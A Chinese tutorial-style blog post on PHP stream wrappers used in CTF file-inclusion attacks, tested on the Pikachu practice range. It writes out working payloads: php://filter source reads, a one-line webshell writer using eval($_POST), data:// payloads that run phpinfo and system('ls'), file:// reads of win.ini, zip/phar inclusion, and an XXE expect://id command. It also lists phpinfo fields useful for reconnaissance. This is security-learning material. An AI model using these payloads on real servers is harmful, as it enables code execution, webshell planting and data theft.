【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

bash 复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php


filename=../../index.php

会直接当成php文件解析

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST"cmd";?>');?>

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

bash 复制代码
filename=data://text/plain,<?php phpinfo();?>
bash 复制代码
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
bash 复制代码
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 _SERVER\['PATH'\] 文件根目录 _SERVER'DOCUMENT_ROOT' 等信息
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER'SERVER_ADDR' 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

任意文件读取:

bash 复制代码
filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容

只需要是zip的压缩包即可,后缀名可以为任意格式。

bash 复制代码
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

代码执行:

bash 复制代码
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

expact://

XXE漏洞命令执行:

xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

代码执行:

bash 复制代码
filename=http://127.0.0.1:8088/phpinfo.txt

安全配置小建议:

以上测试使用的是pikachu靶场,建议在使用时更改配置

更改为Allow from 127.0.0.1

这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了

相关推荐
学习星球1 小时前
Solid.js 实战:拆解官方 RealWorld 项目
开发语言·javascript·vue.js
OPEN-F1 小时前
Python进阶教程:正则表达式进阶与文本处理
开发语言·python·正则表达式
mennekes2 小时前
数据中心安全配电设备如何选择?
运维·人工智能·科技·安全·制造
zhifou1234562 小时前
java 17升级安装
java·开发语言
for_ever_love__2 小时前
python基础语法学习: 面向对象的三大特性
开发语言·python·学习
Flynt2 小时前
就编译了一下代码,浏览器密码没了——Rust 生态遭遇史上最狠供应链攻击
安全·rust·开源
不会代码的小猴2 小时前
7. JSON
开发语言·c++·笔记·qt·算法·json
沫璃染墨3 小时前
《Qt从零入门系列(六):信号与槽进阶——从多种连接方式到Lambda表达式》
开发语言·c++·qt·代码规范·设计规范·qt5
ZJU_统一阿萨姆4 小时前
【算子开发】环境搭建与第一个CUDA程序
开发语言·人工智能·系统架构
Evand J4 小时前
【MATLAB例程,车联网8】MPC网联车辆节能跟驰控制:速度跟踪、间距约束与能耗优化。附MATLAB完整代码的下载链接
开发语言·matlab·车联网·调度·mpc·节能·车辆控制